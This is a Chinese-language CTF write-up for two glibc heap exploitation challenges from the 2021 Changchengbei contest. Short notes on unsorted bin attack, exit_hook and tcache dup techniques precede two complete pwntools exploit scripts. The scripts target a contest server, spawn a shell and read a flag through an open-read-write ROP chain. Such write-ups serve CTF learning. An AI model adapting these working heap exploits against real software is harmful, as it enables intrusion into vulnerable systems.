长城杯2021
菜鸡第一次在国内比赛做出两道题,害,长城杯比第五空间温柔多了,第五空间一道rop,之后就直接vm,musl都没学过,还有个c++逆向8出来。打完国赛(写了一道简单堆题,orw调一晚上没出来,服了)之后划水时间太长了,8月下旬才开始继续学堆,争取10月底前把vm,musl,mips,arm这种其他架构(不知道算不算)的pwn学习一下。
1.K1ng_in_h3Ap_I
题目给了3个字节libc地址,操作性还是挺强的,借用残留指针可以不用爆破打io_stdout,泄露出完整libc,有libc的话就随便打了。
不过打比赛的时候想着借用残留指针,想到exit_hook里面好像本来就有libc里面的地址,就用unsorted bin attack在前面打一个0x7f,申请过去覆盖exit_hook为one_gadget就好了。
想到用unsorted bin attack,好像思路又宽阔了,unsorted bin attack打出来本来就是libc里面的地址,直接在各种hook里面打出一个0x7f**********,覆盖低地址也可以随便打。
这么想的话啥时候万一不能打io的话,1/256爆破两个字节也可以getshell。
不过通用性不强,还是打io比较好,1/16爆破也容易出。
#!/usr/bin/env python3
# coding=utf-8
from pwn import *
# from z3 import *
arch = "amd64"
filename = "pwn1"
ip = "47.104.175.110"
port =20066
# libc
local_libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
remote_libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context(os="linux", arch=arch, log_level="debug")
# context.terminal = ['tmux', 'split','-h']
content = 1
offset = 0
# elf
elf = ELF(filename)
def b(addr):
bk = "b *$rebase" + str(addr)
gdb.attach(io, bk)
success("attach")
def add(idx,size):
io.recvuntil(b">> ")
io.sendline(b'1')
io.recvuntil(b"input index:")
io.sendline(str(idx).encode())
io.recvuntil(b"input size:")
io.sendline(str(size).encode())
def edit(idx,payload):
io.recvuntil(b">> ")
io.sendline(b'3')
io.recvuntil(b"input index:")
io.sendline(str(idx).encode())
io.recvuntil(b"input context:")
io.send(payload)
def free(idx):
io.recvuntil(b">> ")
io.sendline(b'2')
io.recvuntil(b"input index:")
io.sendline(str(idx).encode())
def pwn():
io.recv()
io.sendline(b'666')
io.recvuntil(b'0x')
addr=int(io.recv(6),16)
success("addr:"+hex(addr))
libcbase=addr-libc.symbols['printf']&0xffffff
# system_addr=libcbase+libc.symbols['system']&0xffffff
exit_hook=libcbase+0x5f0040+3848
success("libcbase:"+hex(libcbase))
success("exit_hook:"+hex(exit_hook))
add(0,0x10)
add(1,0x80)
edit(1,p64(0)*(11)+p64(0x31)+b'\n')
add(2,0x60)
add(3,0x60)
add(4,0x80)
add(5, 0x70)
# edit(0,b'a'*0xf0)
free(1)
add(6,0x60)
free(2)
free(3)
free(4)
edit(4,p64(0)+p32(exit_hook-0x30)[:-1]+b'\n')
add(7,0x80)
# free(1)
# edit(0,p64(0)+p64(0x71)+b'\n')
edit(3,b'\x20\n')
edit(1,p32(exit_hook-0x23)[:-1]+b'\n')
add(8,0x60)
add(9,0x60)
add(10,0x60)
ogg=libcbase+onegadget[3]
edit(10,b'\x00'*(0x13)+p32(ogg)[:-1]+b'\n')
io.recvuntil(b">> ")
io.sendline(b'1')
io.recvuntil(b"input index:")
io.sendline(str(11).encode())
# b(0x0000000000000AF2)
if __name__ == '__main__':
global io
flag = 1
while flag >= 1:
try:
if content == 0:
io = process("./" + filename)
libc = local_libc
onegadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
else:
io = remote(ip, port)
libc = remote_libc
onegadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
pwn()
io.interactive()
flag = 0
except Exception as e:
print(e)
io.close()
flag -= 1
continue
2.K1ng_in_h3Ap_II
tcache dup+orw
国赛的时候silverwolf就卡在这,终于给我学会了。。。
#!/usr/bin/env python3
# coding=utf-8
from pwn import *
# from z3 import *
arch = "amd64"
filename = "pwn2"
ip = "47.104.175.110"
port =61608
# libc
local_libc = ELF("/home/giantbranch/Desktop/ctfpwn/clibcc/pwn-change-libc-main/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so")
remote_libc = ELF("/home/giantbranch/Desktop/ctfpwn/clibcc/pwn-change-libc-main/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so")
context(os="linux", arch=arch, log_level="debug")
# context.terminal = ['tmux', 'split','-h']
content = 1
offset = 0
# elf
elf = ELF(filename)
def b(addr):
bk = "b *$rebase" + str(addr)
gdb.attach(io, bk)
success("attach")
def add(idx,size):
io.recvuntil(b">> ")
io.sendline(b'1')
io.recvuntil(b"input index:")
io.sendline(str(idx).encode())
io.recvuntil(b"input size:")
io.sendline(str(size).encode())
def free(idx):
io.recvuntil(b">> ")
io.sendline(b'2')
io.recvuntil(b"input index:")
io.sendline(str(idx).encode())
def edit(idx,payload):
io.recvuntil(b">> ")
io.sendline(b'3')
io.recvuntil(b"input index:")
io.sendline(str(idx).encode())
io.recvuntil(b"input context:")
io.send(payload)
def show(idx):
io.recvuntil(b">> ")
io.sendline(b'4')
io.recvuntil(b"input index:")
io.sendline(str(idx).encode())
def pwn():
add(0,0x60)
show(0)
io.recvline()
heapbase=u64(io.recv(6).ljust(8,b'\x00'))-0xb20
success("heapbase:"+hex(heapbase))
free(0)
edit(0,p64(heapbase))
add(1,0x60)
# add(2,0x60) # tcache_struct
add(3,0x50)
free(3)
add(4,0x10)
edit(3,p64(heapbase+0x860))
add(5,0x50)
add(6,0x50)
edit(6,p64(0)+p64(0x451))
free(4)
show(4)
io.recvline()
malloc_hook = u64(io.recv(6).ljust(8, b'\x00')) - 96-0x10
success("malloc_hook:" + hex(malloc_hook))
libcbase=malloc_hook-libc.symbols['__malloc_hook']
success("libcbase:" + hex(libcbase))
setcontext_53=libcbase+libc.symbols['setcontext']+53
free_hook=libcbase+libc.symbols['__free_hook']
free(0)
edit(0,p64(free_hook))
add(1,0x60)
add(2,0x60)
#
free(0)
edit(0,p64(heapbase+0x870))
add(1, 0x60)
add(1, 0x60)
ret_addr=libcbase+0x00000000000008aa
framebase=heapbase+0x870
flag_addr = framebase + 0x100
rop_addr=flag_addr+0x10
payload=b'a'*(0xa0)+p64(rop_addr)+p64(ret_addr)
edit(1,payload[:0x60])
free(0)
edit(0, p64(framebase+0x60))
add(1, 0x60)
add(1, 0x60)
edit(1,payload[0x60:])
pop_rdi = libcbase + next(libc.search(asm("pop rdi\nret")))
pop_rsi = libcbase + next(libc.search(asm("pop rsi\nret")))
pop_rdx = libcbase + next(libc.search(asm("pop rdx\nret")))
open_addr = libcbase + libc.symbols['open']
read_addr = libcbase + libc.symbols['read']
write_addr = libcbase + libc.symbols['write']
rop_chain = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
rop_chain += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x50) + p64(read_addr)
rop_chain += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x50) + p64(write_addr)
print(len(rop_chain))
free(0)
edit(0, p64(flag_addr))
add(1, 0x60)
add(1, 0x60)
payload=b'/flag\x00\x00\x00'+p64(0)+rop_chain
edit(1,payload[:0x60])
free(0)
edit(0, p64(flag_addr+0x60))
add(1, 0x60)
add(1, 0x60)
edit(1, payload[0x60:])
edit(2, p64(setcontext_53))
free(4)
# b(0x0000000000000C66)
if __name__ == '__main__':
global io
flag = 1
while flag >= 1:
try:
if content == 0:
io = process("./" + filename)
libc = local_libc
onegadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
else:
io = remote(ip, port)
libc = remote_libc
onegadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
pwn()
io.interactive()
flag = 0
except Exception as e:
print(e)
io.close()
flag -= 1
continue